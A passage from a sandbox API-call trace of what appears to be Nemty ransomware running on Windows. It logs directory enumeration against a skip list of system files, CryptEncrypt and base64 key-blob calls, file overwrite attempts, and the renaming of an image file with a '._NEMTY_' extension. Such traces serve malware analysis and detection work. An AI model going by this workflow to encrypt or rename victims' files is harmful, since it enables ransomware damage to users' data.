dwFlags=0x0, lpWideCharStr="tile16.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0141.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile16.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile16.png", lpUsedDefaultChar=0x0) returned 10 [0141.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile16.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0141.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile16.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile16.png", lpUsedDefaultChar=0x0) returned 10 [0141.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile16.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0141.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile16.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile16.png", lpUsedDefaultChar=0x0) returned 10 [0141.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile16.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0141.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile16.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile16.png", lpUsedDefaultChar=0x0) returned 10 [0141.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340100 [0141.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0141.943] Sleep (dwMilliseconds=0x5) [0141.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x842a530, dwHighDateTime=0x1d561e8)) [0141.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x842a530, dwHighDateTime=0x1d561e8)) [0141.958] GetLastError () returned 0x5 [0141.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.958] GetLastError () returned 0x5 [0141.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.958] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.958] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.958] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401a8 [0141.958] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401a8, pcchString=0x653e91c | out: pszString="JmtpIhZ8P65s+iNYdqr9O9pHINYt+F+osS1t/1KUg3ZHlxQxb0Vdxq4Uw+n2xot2\r\njL0EjrzjVDzOSZG9wXhva5cSVsmbpS11yOKUjykFY9kYifKwIzOKdWO40zzLzUPh\r\nSAintwVjt7fpm+0Zn230ZJYPA6XarqmZ+qN1NEF+Zwym+zVyDGTVqmhA6Y+L1De/\r\n359jDEgpbqzfA9qSiJWWrlwzPMyQpjvt8uXQSu6hsOGhlAC/R1k35r/fdn8evukX\r\nbtSZPxoCQbCUraYG6bhLMaouPxHJ9hZ/1HXsQSUe3DK9APVv9i3gFqhACQOlW3pl\r\nlnT3mN/KowLdiBNkq5gODw==\r\n", pcchString=0x653e91c) returned 1 [0141.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0141.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401a8 [0141.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.958] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.959] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0142.071] CloseHandle (hObject=0xffffffff) returned 0 [0142.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340318 [0142.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403c0 [0142.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340478 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png._nemty_kgobjgd_")) returned 0 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.072] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a9a2cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a9a2cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bce6c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcd9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="tile_bezel.png", cAlternateFileName="")) returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2=".") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="..") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="...") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="windows") returned -1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="$RECYCLE.BIN") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="rsa") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="NTDETECT.COM") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="ntldr") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="MSDOS.SYS") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="IO.SYS") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="boot.ini") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="boot.ini") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="AUTOEXEC.BAT") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="ntuser.dat") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="desktop.ini") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="CONFIG.SYS") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="RECYCLER") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="BOOTSECT.BAK") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="bootmgr") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="programdata") returned 1 [0142.072] lstrcmpiW (lpString1="tile_bezel.png", lpString2="appdata") returned 1 [0142.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_bezel.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_bezel.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile_bezel.png", lpUsedDefaultChar=0x0) returned 14 [0142.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_bezel.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_bezel.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile_bezel.png", lpUsedDefaultChar=0x0) returned 14 [0142.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_bezel.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_bezel.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile_bezel.png", lpUsedDefaultChar=0x0) returned 14 [0142.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_bezel.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0142.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_bezel.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile_bezel.png", lpUsedDefaultChar=0x0) returned 14 [0142.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0142.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0142.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0142.073] Sleep (dwMilliseconds=0x5) [0142.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: 